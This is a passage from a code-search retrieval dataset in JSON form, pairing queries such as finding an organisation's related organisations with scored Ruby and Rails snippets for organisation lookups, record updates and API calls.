"text": "def update!(**args)\n @boolean_constraint = args[:boolean_constraint] if args.key?(:boolean_constraint)\n @constraint_default = args[:constraint_default] if args.key?(:constraint_default)\n @description = args[:description] if args.key?(:description)\n @display_name = args[:display_name] if args.key?(:display_name)\n @list_constraint = args[:list_constraint] if args.key?(:list_constraint)\n @name = args[:name] if args.key?(:name)\n @version = args[:version] if args.key?(:version)\n end",
"title": ""
},
{
"docid": "400d98c6ca97390a71071a9ac369dfb3",
"score": "0.53190875",
"text": "def set_checkout_requirements\n order = self.line_item.order\n # DD: TODO: set quantity?\n calculate_reorder_date!\n update_attributes(\n :billing_address_id => order.bill_address_id,\n :shipping_address_id => order.ship_address_id,\n :shipping_method_id => order.shipping_method_for_variant( self.line_item.variant ).id,\n :payment_method_id => order.payments.first.payment_method_id,\n :source_id => order.payments.first.source_id,\n :source_type => order.payments.first.source_type,\n :user_id => order.user_id\n )\n end",
"title": ""
},
{
"docid": "f9edb76acfc012b1a107eda6439783b8",
"score": "0.53098917",
"text": "def update_module_item(course_id,module_id,id,module_item__completion_requirement____min_score__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :module_item__title__,\n :module_item__position__,\n :module_item__indent__,\n :module_item__external_url__,\n :module_item__new_tab__,\n :module_item__completion_requirement____type__,\n :module_item__completion_requirement____min_score__,\n :module_item__published__,\n :module_item__module_id__,\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"module_id is required\" if module_id.nil?\n raise \"id is required\" if id.nil?\n raise \"module_item__completion_requirement____min_score__ is required\" if module_item__completion_requirement____min_score__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :module_id => module_id,\n :id => id,\n :module_item__completion_requirement____min_score__ => module_item__completion_requirement____min_score__\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/modules/{module_id}/items/{id}\",\n :course_id => course_id,\n :module_id => module_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n ModuleItem.new(response)\n end",
"title": ""
},
{
"docid": "e23c9d04920bd2995d1b0159a2b2ebec",
"score": "0.52994716",
"text": "def requirement_params\n puts current_project.id\n params.require(:requirement).permit(:name, :description, :requirement_type)\n end",
"title": ""
},
{
"docid": "9b9284d2fa99b277ee72b7f8a7a60a61",
"score": "0.5296807",
"text": "def edit opts={}\n view\n on KeyPersonnel do |update|\n # TODO: This will eventually need to be fixed...\n # Note: This is a dangerous short cut, as it may not\n # apply to every field that could be edited with this\n # method...\n opts.each do |field, value|\n update.send(field, @full_name).fit value\n end\n update.save\n end\n update_options(opts)\n end",
"title": ""
},
{
"docid": "162d0e2a4af208507bd6466c578a1b8e",
"score": "0.5292904",
"text": "def update\n @need = current_user.needs.find(params[:id])\n\n respond_to do |format|\n if @need.update_attributes(params[:need])\n format.html { redirect_to(@need, :notice => 'Need was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @need.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd146481b46d62e2495b64e963701e05",
"score": "0.5290367",
"text": "def update\n\t\traise CanCan::AccessDenied if !Requisito.accessible_by(current_ability, :update).include?(@requisito)\n respond_to do |format|\n if @requisito.update(requisito_params)\n\t format.html { redirect_to :action => 'new', :actividad_id => @requisito.actividad\n\t\t flash[:success] = 'Requisito fue actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @requisito }\n else\n format.html { render :edit }\n format.json { render json: @requisito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f161c83adad6d78b181299c80ed8b1fd",
"score": "0.52895343",
"text": "def edit\r\n \r\n end",
"title": ""
}
] |
39649ea78eb1f3a1d44ad20e8023a3eb
|
Return organisation related organisations if any
|
[
{
"docid": "a9b36259e0d0d1227e218b9a30ca0e9d",
"score": "0.82061744",
"text": "def organisation_related_organisations\n \torganisation_related_organisations = []\n org_related_organisations_ids = related_organisations.collect{|ro| ro.org_organisation_id}.flatten.compact\n\t\n\torg_related_organisations_ids.each do |id|\n\t related_organisation = Organisation.find(id)\n\t organisation_related_organisations.push(related_organisation)\n\tend\n\t\n\treturn organisation_related_organisations\n end",
"title": ""
}
] |
[
{
"docid": "dc27171b7fd7aa518c7bf6aa830572fb",
"score": "0.80790836",
"text": "def organisations\n @organisations ||= Organisation.where('m.u' => id)\n end",
"title": ""
},
{
"docid": "f5f071b6700b8f473da07e311ec65ecb",
"score": "0.79110706",
"text": "def organisations\n Organisation.belonging_to(self)\n end",
"title": ""
},
{
"docid": "759f7de2943d16d38b5c6bc1a8ceb1ac",
"score": "0.77141654",
"text": "def get_organisations\n organisations = []\n @data['repositories'].each do |repo_slug|\n organisation = repo_slug.split('/')[0]\n unless organisations.include?(organisation)\n organisations.push(organisation)\n end\n end\n return organisations\n end",
"title": ""
},
{
"docid": "a9e11cb5c1f74b39f36b6b5eaf2fe5c7",
"score": "0.7675516",
"text": "def get_organizations\n end",
"title": ""
},
{
"docid": "2b6f3575881b928a655759e194e7bf70",
"score": "0.76648563",
"text": "def organisations\n roles.collect{|r| r.organisation }.flatten.compact \n end",
"title": ""
},
{
"docid": "b59b1741efb2f7e15ce95ec62e58233a",
"score": "0.7542628",
"text": "def organizations\n orgs = joined_organizations\n\n accounts.each do |a|\n e = employee_for_account(a)\n if e.owner?\n orgs += a.organizations\n end\n end\n orgs.uniq\n end",
"title": ""
},
{
"docid": "7517b3e56685bdece2a6eee0d38264a1",
"score": "0.7356625",
"text": "def organisations\n\n orgs = []\n\n if dif.Data_Center? and dif.Data_Center.any?\n dif.Data_Center.select {|dc| dc.Data_Center_Name? }.each {|dc|\n\n roles = [\"owner\"]\n name = dc.Data_Center_Name.Long_Name\n url = dc.Data_Center_URL.gsub(/^http:\\/\\/www\\./, \"http://\").gsub(/\\/$/, \"\")\n links = [{ \"rel\" => \"owner\", \"href\" => url, \"title\" => dc.Data_Center_Name.Long_Name }]\n\n if dc.Data_Center_Name.Long_Name =~ /Norwegian Polar Institute/\n name = \"Norwegian Polar Institute\"\n roles += [\"originator\", \"publisher\", \"pointOfContact\", \"resourceProvider\"]\n links << { \"rel\" => \"publisher\", \"href\" => \"http://data.npolar.no\", \"title\" => \"Norwegian Polar Institute\" }\n end\n\n id = URI.parse(url).host\n\n orgs << Hashie::Mash.new({\n \"id\" => id,\n \"name\" => name,\n \"gcmd_short_name\" => dc.Data_Center_Name.Short_Name,\n \"roles\" => roles,\n \"links\" => links\n })\n }\n end\n\n if orgs.none?\n if self.dif.to_json =~ /(NPI|Norwegian Polar Institute)/\n orgs << Hashie::Mash.new(Metadata::Dataset.npolar)\n elsif not dif.Originating_Metadata_Node?\n orgs << Hashie::Mash.new(Metadata::Dataset.npolar(\"publisher\"))\n end\n end\n\n orgs\n end",
"title": ""
},
{
"docid": "0d2b5494a5d4872c960223c6723e06f8",
"score": "0.73139685",
"text": "def organizations\n Organization.find(organization_memberships.map(&:org_id))\n end",
"title": ""
},
{
"docid": "f71125f3e491ef0293847ad2397d02e7",
"score": "0.73135066",
"text": "def organisation\n organisations.first\n end",
"title": ""
},
{
"docid": "cca9588968d31fe967cb17f2a6c4c48e",
"score": "0.7254641",
"text": "def organisations_for_solr\n return FinderHelper.strip(organisations.collect{ |o| o.organisation_id}.join(' '))\n end",
"title": ""
},
{
"docid": "8dd4db2dc0148aa31981eb4b7df0e364",
"score": "0.7251674",
"text": "def get_organisation\n @organisation = Organisation.find_by_nickname(request.subdomains.first)\n @titles << @organisation.title if @organisation\n @organisation or (throw404 and return false)\n end",
"title": ""
},
{
"docid": "a9a3827c82dfaaffd1cf52d7f50a0488",
"score": "0.7097242",
"text": "def current_user_organisations\n current_user.organisations\n end",
"title": ""
},
{
"docid": "6e26b1a7daf5e4067efb554abb2e2b01",
"score": "0.70697165",
"text": "def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end",
"title": ""
},
{
"docid": "30bb852a8ec6519f593cec19e59ab9ea",
"score": "0.7066637",
"text": "def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(/.*\\/org\\//, \"\")\n end\n results\n end",
"title": ""
},
{
"docid": "818f8e632f99a9d19ef5e4c7f9d3f231",
"score": "0.7033115",
"text": "def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, _headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = URI(org['href']).path.gsub('/api/org/', '')\n end\n results\n end",
"title": ""
},
{
"docid": "286ce44d82e07a790c4b1cf3ccebb525",
"score": "0.7031698",
"text": "def orgs(login)\n Octoplex::API::Organisation.find(login)\n end",
"title": ""
},
{
"docid": "0a19aca6a401377844df6a3c017d5042",
"score": "0.7014877",
"text": "def organisation_details\n return blank_value unless organisation\n return partner_names if organisation.partnership?\n\n organisation.name\n end",
"title": ""
},
{
"docid": "d2d2d50edc4686ec297eb9b96b6aecd1",
"score": "0.7008877",
"text": "def organizations\n\t\torgs = []\n\t\tfor uo in self.user_orgs\n\t\t\torgs << uo.organization.name\n\t\tend\n\t\treturn orgs\n\tend",
"title": ""
},
{
"docid": "c5d1ce1ad7170c90fc864fe03e8d4cc9",
"score": "0.69955236",
"text": "def organization\n field_values_by_external_id('company-or-organisation', :simple => true)\n end",
"title": ""
},
{
"docid": "96c0e150fd6c8e7f4b004b139e34157e",
"score": "0.697471",
"text": "def organizations(options = { :filter => :all })\n return @organizations if @organizations\n @organizations = Client.get(\"/members/#{username}/organizations\", options).json_into(Organization)\n end",
"title": ""
},
{
"docid": "bc6815a4462639905e371798805edb7f",
"score": "0.6932339",
"text": "def organisation\n Organisation.new(organisation_name)\n end",
"title": ""
},
{
"docid": "2ae90afa8c0e18ebb8df457b809f8092",
"score": "0.6925698",
"text": "def orgns\n @organizations = Organization.where( :user_id =>current_user.id)\n respond_with(@organizations)\n end",
"title": ""
},
{
"docid": "e63862bf27df4f2b5a7639353df0bf94",
"score": "0.6918411",
"text": "def all\n return @organizations if @organizations\n load_response\n @organizations\n end",
"title": ""
},
{
"docid": "15b0da04e288a3a034ed7421d50ff102",
"score": "0.69117004",
"text": "def organisation_group\n @organisation_group ||= coordinating_groups.take\n end",
"title": ""
},
{
"docid": "e6c64640eb8fedcd1331a0d51a57bb2a",
"score": "0.6906849",
"text": "def current_user_orgs\n return Organisation.order(name: :asc) if current_user.admin?\n orgs_list = [current_user.organisation] | current_user.associated_orgs | current_user.groups |\n current_user.organisation.groups\n current_user.associated_orgs.each do |ao|\n orgs_list |= ao.groups\n end\n orgs_list = orgs_list.sort_by(&:name)\n orgs_list\n end",
"title": ""
},
{
"docid": "75b361d819f3acb430279552beac088e",
"score": "0.69056034",
"text": "def get_organisation\n # finds currently logged in organisation from session - sets @organisation\n # get current organisation\n @organisation = Organisation.find(session[:organisation_id])\n end",
"title": ""
},
{
"docid": "e3379a67db4b05dddf6e543960e392e5",
"score": "0.689809",
"text": "def organisation\n\t supplier&&supplier.organisation||@organisation\n\tend",
"title": ""
},
{
"docid": "a89868223f1d6fde67433e96a584c3b0",
"score": "0.6859994",
"text": "def get_organizations\n request = Typhoeus::Request.new(\n \"https://api.github.com/user/orgs\",\n headers: {Authorization: \"token #{token}\"}\n )\n response = request.run\n orgs = JSON.parse(response.body).map do |org| \n org[\"login\"]\n end\n end",
"title": ""
},
{
"docid": "1bebcac2ebae44f6ee4c804d3c765ab9",
"score": "0.68413657",
"text": "def organizations( options={} )\n get \"organizations.json\", extra_query: options, response_container: %w( organizations ), transform: SignalCloud::Organization\n end",
"title": ""
},
{
"docid": "a9c540a8a1b5287b9a30409aa149efe8",
"score": "0.6831888",
"text": "def organizations\n Qubell::APICall.get('/organizations').map do |org|\n Qubell::Resources::Organization.new(org)\n end\n end",
"title": ""
},
{
"docid": "6e7b3b1f8db8e4da8298eabcc961c699",
"score": "0.68111324",
"text": "def get_organizations(format = \"GET\")\n @org_url = \"/organizations\"\n api_call(@org_url, format)\n end",
"title": ""
},
{
"docid": "2716a00ba144fe74daa2183494cb56dc",
"score": "0.6793782",
"text": "def display_organizations\n orgs_for_display = []\n Constants::ORGANIZATIONS.each do |o|\n o.delete_at(2)\n orgs_for_display << o\n end\n return orgs_for_display\n end",
"title": ""
},
{
"docid": "2afe3940eb0ba84ab458e2c9554a37fe",
"score": "0.6769349",
"text": "def organization_list\n @organization_list ||= self.class.get(\"/organizations/list.json\")\n end",
"title": ""
},
{
"docid": "0b349b3cc304912563744ee2a2ec8825",
"score": "0.67688096",
"text": "def organisation\n if @organisation.nil?\n @organisation = LUSI::API::Organisation::Organisation.new\n @organisation.load(self.lusi_api, in_use_only: false)\n end\n @organisation\n end",
"title": ""
},
{
"docid": "b3c99e3331965bb39ce61b9da6f64659",
"score": "0.6750899",
"text": "def get_organizations\r\n # Prepare query url.\r\n _path_url = '/organizations'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"title": ""
},
{
"docid": "a031f6c56ec9e611ce6f9d0c02b97d0c",
"score": "0.6742971",
"text": "def orgs(enterprise = 'default')\n @hash = AutomateSoup::Rest.get(\n url: \"#{@soup.url}/api/v0/e/#{enterprise}/orgs\",\n username: @soup.credentials.username,\n token: @soup.credentials.token\n )\n\n raise \"Failed to fetch orgs under enterprise #{enterprise}\" unless @hash['orgs']\n @hash['orgs']\n end",
"title": ""
},
{
"docid": "0ef3894f76477dc84f4b295c9349d92e",
"score": "0.6732482",
"text": "def list_org_groups\n GLOBAL_CONFIG[:data][:organizational]\n end",
"title": ""
},
{
"docid": "0ef3894f76477dc84f4b295c9349d92e",
"score": "0.6732482",
"text": "def list_org_groups\n GLOBAL_CONFIG[:data][:organizational]\n end",
"title": ""
},
{
"docid": "124eddb2c86aaa08af72580547d129c2",
"score": "0.673094",
"text": "def organizations\n records do |instance|\n instance['organization'] = orgs.where('_id': instance['organization_id']).last\n end\n end",
"title": ""
},
{
"docid": "863cafc4a747e8be06516f9e3ef9a679",
"score": "0.67089736",
"text": "def organizations_for(account)\n # a user only has one employee per account but can have several employees across accounts\n employee = employee_for_account(account)\n # If the employee is the/an owner of the account then he should be allowed to see/do things\n # in all the organizations of the account. If the user is no owner, then only list\n # organizations for which he has a membership (has many through membership)\n employee.owner? ? account.organizations : employee.organizations\n end",
"title": ""
},
{
"docid": "69e93829ab316cc3d40c07e4cd8abc47",
"score": "0.66909003",
"text": "def organization\n @organization\n end",
"title": ""
},
{
"docid": "70d58ac81836866a222de51a9737a234",
"score": "0.66771424",
"text": "def organizations\n @entities.keys.delete_if{|k| @entities[k] != PERSON}\n end",
"title": ""
},
{
"docid": "32fd959f6cfb4c7371044573536378c0",
"score": "0.6675817",
"text": "def organizations\n raw_organizations = GitHub::API.json(\"/user/show/#{self.login}/organizations\")['organizations']\n organizations = []\n\n raw_organizations.each do |organization|\n organizations << GitHub::Organization.new(organization)\n end\n\n return organizations\n end",
"title": ""
},
{
"docid": "0271fe5e95ab41c89a55574c5736e788",
"score": "0.6669685",
"text": "def organiser\n org_ids = self.listings.map {|list| list.organiser_id}\n organisers = org_ids.map {|id| User.find(id)}\n end",
"title": ""
},
{
"docid": "93dc2dd1ae37e7417e964c43f6ff7690",
"score": "0.666921",
"text": "def orgs_that_user_is_part_of\n orgIds = self.get_all_memberships.map {|mem| mem.organization_id}\n orgIds.map{|oi| Organization.find(oi) }\n end",
"title": ""
},
{
"docid": "93dc2dd1ae37e7417e964c43f6ff7690",
"score": "0.666921",
"text": "def orgs_that_user_is_part_of\n orgIds = self.get_all_memberships.map {|mem| mem.organization_id}\n orgIds.map{|oi| Organization.find(oi) }\n end",
"title": ""
},
{
"docid": "93dc2dd1ae37e7417e964c43f6ff7690",
"score": "0.666921",
"text": "def orgs_that_user_is_part_of\n orgIds = self.get_all_memberships.map {|mem| mem.organization_id}\n orgIds.map{|oi| Organization.find(oi) }\n end",
"title": ""
},
{
"docid": "a5e75d7c86a376820d188a87ec64d77b",
"score": "0.6654912",
"text": "def orgs(params = {})\n params.merge!(key: 'orgs')\n objects_from_response(Org, :get, 'org', params)\n end",
"title": ""
},
{
"docid": "b53e319abc1eab329c01eba2046f5d04",
"score": "0.6645551",
"text": "def get_organization(org_id)\n end",
"title": ""
},
{
"docid": "f59b5978b4979b038db4c8121b74bf12",
"score": "0.66303766",
"text": "def guess_organisations_for(path)\n org_slug = if path =~ %r{^/government/world/organisations}\n case path\n when /dfid/ then \"department-for-international-development\"\n when /uk-trade-investment/ then \"uk-trade-investment\"\n else \"foreign-commonwealth-office\"\n end\n else\n # if we can't determine the org of any content,\n # the owning organisation defaults to the owners of GOV.UK\n \"government-digital-service\"\n end\n\n org = Organisation.find_by!(slug: org_slug)\n\n [{\n content_id: org.content_id,\n slug: org.slug,\n web_url: org.web_url,\n title: org.title,\n }]\n end",
"title": ""
},
{
"docid": "b6284988e47dcd7afb8d864d1e7619cf",
"score": "0.6617732",
"text": "def fetch_organisation_by_name(organisation_name)\n @accounts.values.detect{|acc| !acc.respond_to?(:email) && acc.name == organisation_name}\n end",
"title": ""
},
{
"docid": "ae1a4514b6a893468ab326129bc33a02",
"score": "0.66064984",
"text": "def fetch_organisations_but(organisation_id)\n tmp = @accounts.values.select{|acc| acc.organisation == true}\n tmp.select{|acc| acc.id != organisation_id}\n end",
"title": ""
},
{
"docid": "4f50e67e26013011691d2362a6e4f3bb",
"score": "0.65873164",
"text": "def organization\n fetch('venture_bros.organization')\n end",
"title": ""
},
{
"docid": "d388bee47d1f4446944f6e502db1df94",
"score": "0.65822387",
"text": "def get_organisation_roles(with_people=false)\n if with_people\n roles = Role.find(:all, :conditions => ['organisation_id =? and person_id IS NOT NULL', self.organisation_id])\n else\n roles = Role.find(:all, :conditions => ['organisation_id =? and person_id IS NULL', self.organisation_id])\n end\n return roles\n end",
"title": ""
},
{
"docid": "e3a893e09f213d1e51c222ef5a22a1aa",
"score": "0.65616494",
"text": "def organization\n if commentable.respond_to? :organization\n commentable.organization\n else\n creator.organization\n end\n end",
"title": ""
},
{
"docid": "bdff750632593a6f643b9cb3c3db1cbb",
"score": "0.6559025",
"text": "def list_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end",
"title": ""
},
{
"docid": "649c4045033885542e40481ee6f7aaae",
"score": "0.65586555",
"text": "def managed_organizations(project)\n if admin?\n Organization.all\n else\n membership(project).try(:managed_organizations) || []\n end\n end",
"title": ""
},
{
"docid": "ff6b1cc085997d66acdc870a82e1a1a3",
"score": "0.65495396",
"text": "def organizations\n Organization.list(client: self)\n end",
"title": ""
},
{
"docid": "c7bd4d5d9bee17aca79fec70951fa4a6",
"score": "0.65475315",
"text": "def organizations\n Jortt::Client::Organizations.new(self)\n end",
"title": ""
},
{
"docid": "626f83dd43855a6d3d3ff4f781cd51d7",
"score": "0.6541304",
"text": "def interested_organizations\n Printer.where(printer_model_id: self.printer_model_ids).includes(:organization).map(&:organization).uniq\n end",
"title": ""
},
{
"docid": "101420dcc391ebf6776247ed24850682",
"score": "0.65228915",
"text": "def org\n Organization.find_by id: organization_id\n end",
"title": ""
},
{
"docid": "f8782111d8092b44e8efe2abfa1a9f72",
"score": "0.65163124",
"text": "def child_organizations\n Organization.where(parent_organization_id: id)\n end",
"title": ""
},
{
"docid": "df4181d31037d270fb3654856994c9bc",
"score": "0.6515571",
"text": "def find_managing_organisation\n org = YAML.load_file(\"#{Rails.root}/config/locales/hyrax.en.yml\")['en']['hyrax']['institution_name']\n AuthorityService::CurrentOrganisationService.new.find_id(org)\n end",
"title": ""
},
{
"docid": "73707231584c7c3f4493a74228fe6e7d",
"score": "0.65063363",
"text": "def first_organization\n return self.organizations.first\n end",
"title": ""
},
{
"docid": "d889a052d02f1c54c5994408761d4089",
"score": "0.6504251",
"text": "def organization\n organization_quarter.organization unless organization_quarter.nil?\n end",
"title": ""
},
{
"docid": "e5cb78af0a5485efad5cf52b3ea30149",
"score": "0.64925337",
"text": "def organization\n if organization_id\n organization_enum\n else\n OrganizationEnum.default\n end\n end",
"title": ""
},
{
"docid": "ad172baea10c00566ed0a16889a1feb7",
"score": "0.6480777",
"text": "def find(slug)\n organisations_api.organisation(slug)\n end",
"title": ""
},
{
"docid": "4d90a69273e8209980919c23bb18791a",
"score": "0.64796376",
"text": "def get_organisations(opts = {})\n data, status_code, headers = get_organisations_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "906b7aa3f5dbef8f3713e53205e4a38a",
"score": "0.6472984",
"text": "def managed_organizations(project)\n if is_admin_or_instance_manager?\n Organization.all\n else\n membership(project).try(:managed_organizations) || []\n end\n end",
"title": ""
},
{
"docid": "aabaedd7746f072d4b5c6386a22a8b7f",
"score": "0.6471281",
"text": "def orgList\n\tvieworgs = $client.organizations.fetch!\n\tvieworgs.each { |x| puts x.id puts x.name }\nend",
"title": ""
},
{
"docid": "7b850142dcca176febf9f866806fbfd8",
"score": "0.6459111",
"text": "def sub_organizations\n return attributes['sub_organizations'] if attributes['sub_organizations'].present?\n SubOrganization.where(id_in: sub_organization_ids)\n end",
"title": ""
},
{
"docid": "7b850142dcca176febf9f866806fbfd8",
"score": "0.6459111",
"text": "def sub_organizations\n return attributes['sub_organizations'] if attributes['sub_organizations'].present?\n SubOrganization.where(id_in: sub_organization_ids)\n end",
"title": ""
},
{
"docid": "fdf1fe4daf93f158f976363dd627b20d",
"score": "0.64543045",
"text": "def family_orgs\n family_orgs = []\n\n if self.organization.present?\n family_orgs.append(self.organization)\n\n self.organization.families.each do |family|\n family.organizations.each do |org|\n family_orgs.append(org)\n end\n end\n end\n\n return family_orgs.uniq\n end",
"title": ""
},
{
"docid": "c698fc9e41eb95e50da8ab6b6d8b1fe8",
"score": "0.6452174",
"text": "def user_organizations\n endpoint = '/user/memberships/orgs'\n url = \"#{BASE_URI}#{endpoint}?#{results_size}\"\n response = HTTParty.get url, options\n\n handle! response\n end",
"title": ""
},
{
"docid": "7ccd95ef8b99de4a8e79826822288626",
"score": "0.64501965",
"text": "def setup_matching_organizations\n current_user.registrations.current.registered.unmatched.readonly(false).each do |registration|\n registration.find_or_create_organization\n end\n end",
"title": ""
},
{
"docid": "a52f5c70d8c35f8171c5929356705ec8",
"score": "0.6450004",
"text": "def organizations_with_accounts\n Organization.populate_members_info( self.organizations, self )\n end",
"title": ""
},
{
"docid": "1c14ef453799f07a15dfc61adef0040e",
"score": "0.6437021",
"text": "def organization\n return @organization\n end",
"title": ""
},
{
"docid": "a8909b1dc2e194c03db83234726cda28",
"score": "0.6427608",
"text": "def organization\n Carto::Organization.find_by(id: organization_id) if organization_id\n end",
"title": ""
},
{
"docid": "83087c822e76cadeb912124aa387437c",
"score": "0.64220077",
"text": "def index \n @organisations = Organisation.all \n end",
"title": ""
},
{
"docid": "dc8395dc971f1001303f3d7492e6f4ae",
"score": "0.6418591",
"text": "def super_user_organizations_with_protocols\n super_user_orgs = []\n orgs = Organization.joins(:super_users).where(super_users: { identity_id: @id})\n orgs.each do |org|\n if org.protocols.any?\n super_user_orgs << org\n end\n super_user_orgs << org.child_orgs_with_protocols\n end \n super_user_orgs.flatten.uniq\n end",
"title": ""
},
{
"docid": "e415f21c49ad89d65376635831c40e1b",
"score": "0.6407917",
"text": "def get_edorgs(links,collection)\n #The URL to get edOrgs\n logger.debug{\"get_edorgs\"}\n if collection =='students'\n Entity.url_type = get_url_from_hateoas_array(links,'getSchools')\n else\n Entity.url_type = get_url_from_hateoas_array(links,'getEducationOrganizations')\n end\n user_edorgs = Entity.get(\"\")\n user_edorgs = clean_up_results(user_edorgs)\n end",
"title": ""
},
{
"docid": "f7956a431689178ecef8892801a0a5ba",
"score": "0.6395991",
"text": "def organization\n get('organization')\n end",
"title": ""
},
{
"docid": "d71b44599343ce515446fe8b28b82694",
"score": "0.63949037",
"text": "def organisation?\n current_organisation.present?\n end",
"title": ""
},
{
"docid": "739d2e21700a7b4a0106155fc1d5bfa2",
"score": "0.6380456",
"text": "def connected_organization\n return @connected_organization\n end",
"title": ""
},
{
"docid": "c3e9807f32143a0a95159287aae49454",
"score": "0.63718235",
"text": "def orgs_included\n suborgs = StashEngine::JournalOrganization.where(parent_org: id)\n return nil if suborgs.blank?\n\n all_orgs = []\n\n suborgs.each do |sub|\n all_orgs << sub\n all_orgs += sub.orgs_included if sub.orgs_included.present?\n end\n all_orgs\n end",
"title": ""
},
{
"docid": "96b05f66982b06750c389040e708c3fe",
"score": "0.6348827",
"text": "def accessible_organizations\n warn \"Don't use accessible_organizations, since this method is probably not doing what you would expect.\\n\" +\n \"Use student_granted_organizations if you still need its behaviour\"\n student_granted_organizations\n end",
"title": ""
},
{
"docid": "049bcba277ae76c87afd2d62ed0eecd8",
"score": "0.6345508",
"text": "def get_org_repos\n url = URI(\"#{$api}/user/orgs\")\n response = git_api_response(url)\n if response.kind_of? Net::HTTPSuccess\n orgs = JSON.parse(response.body)\n orgs.each do |org|\n org_repos_url = org['repos_url']\n url = URI(org_repos_url)\n response = git_api_response(url) # Get the repositories under the org\n if response.kind_of? Net::HTTPSuccess\n org_repos = JSON.parse(response.body)\n org_repos.each do |repo|\n $repos_urls << repo['html_url']\n end\n else\n puts \"Could not get organizations repositories.\"\n exit 1\n end\n end\n else\n puts \"Could not get organizations.\"\n exit 1\n end\nend",
"title": ""
},
{
"docid": "a212852e3d04532fab6c011f5d19eee5",
"score": "0.6343503",
"text": "def set_organization_or_organizations\n\t\t\t# Sends logged out user to root if they access /fax_logs while logged out.\n\t\t\tredirect_to(root_path) and return if !user_signed_in?\n\n\t\t\t@organizations = {}\n\t\t\tif is_admin?\n\t\t\t\tif is_all_or_is_nil?(filtering_params[:organization])\n\t\t\t\t\torganization_objects = Organization.all.with_deleted\n\t\t\t\telse\n\t\t\t\t\torganization_objects = Organization.with_deleted.where(fax_tag: filtering_params[:organization])\n\t\t\t\tend\n\t\t\t# AR's .find() is used b/c is stops on the first result, and then added to an array for code-reuse\n\t\t\telsif is_manager?\t# Eager load associated users if manager, otherwise don't if a generic user is looking \n\t\t\t\torganization_objects = []\n\t\t\t\torganization_objects << Organization.includes(:users).find(current_user.organization_id)\n\t\t\telse\n\t\t\t\torganization_objects = []\n\t\t\t\torganization_objects << Organization.find(current_user.organization_id)\n\t\t\tend\n\t\t\torganization_objects.each { |organization_obj| FaxLog.create_orgs_hash(@organizations, organization_obj) }\n\t\tend",
"title": ""
},
{
"docid": "d392648058b2dcd90028d4dec1184ee3",
"score": "0.6343422",
"text": "def all_orgs\n all_orgs = parse(validate(@conn.get(:path => \"/user/orgs\")))\n\n all_orgs.inject({ \"self\" => \"/user/repos\" }) do |memo,o|\n memo[o[\"login\"]] = \"/orgs/#{o[\"login\"]}/repos\"\n memo\n end\n end",
"title": ""
},
{
"docid": "78a56aceee9d60ce988cc2f58770a669",
"score": "0.6338589",
"text": "def organization\n @organization ||= Organization.default_for(self)\n end",
"title": ""
},
{
"docid": "dfecae04a02f16038fdc5cafe2dd2778",
"score": "0.63317406",
"text": "def get_user_orgs\n res = get '/user/orgs'\n if res.is_a?(Array)\n res.map do |org|\n { 'login' => org['login'] }\n end\n else\n []\n end\n end",
"title": ""
},
{
"docid": "22bd0652143dabaf6de003d80e1e0fda",
"score": "0.63209414",
"text": "def projects_by_organization\n @projects_by_organization ||= @projects.includes(:organization).group_by(&:organization)\n end",
"title": ""
},
{
"docid": "1545713d06c4db8128abbf81c4de5d0b",
"score": "0.632007",
"text": "def orgs_hash\n @orgs_hash ||= begin\n result = {}\n orgs = load_all( \"/orgs\" )\n \n orgs.each do | org |\n if org[ \"type\" ] == \"sole\"\n if result[ :sole_orgs ]\n result[ :sole_orgs ] << org\n else\n result[ :sole_orgs ] = [ org ]\n end\n elsif org[ \"parent_id\" ].nil?\n if result[ :top_level_orgs ]\n result[ :top_level_orgs ] << org\n else\n result[ :top_level_orgs ] = [ org ]\n end\n else\n if result[ org[ \"parent_id\" ] ]\n result[ org[ \"parent_id\" ] ] << org\n else\n result[ org[ \"parent_id\" ] ] = [ org ]\n end\n end\n end\n \n result\n end\n end",
"title": ""
},
{
"docid": "0b9a2e7c58a523a44f13b288a1e52ffa",
"score": "0.6316434",
"text": "def find_all_existing(params)\n raise ArgumentError, \"organisation is missing from submitted params\" unless params[:organisation]\n find_all_by_council_id(params[:organisation].id)\n end",
"title": ""
},
{
"docid": "d6ba6ec450d1fe6ff8c7b05b46cec966",
"score": "0.6308062",
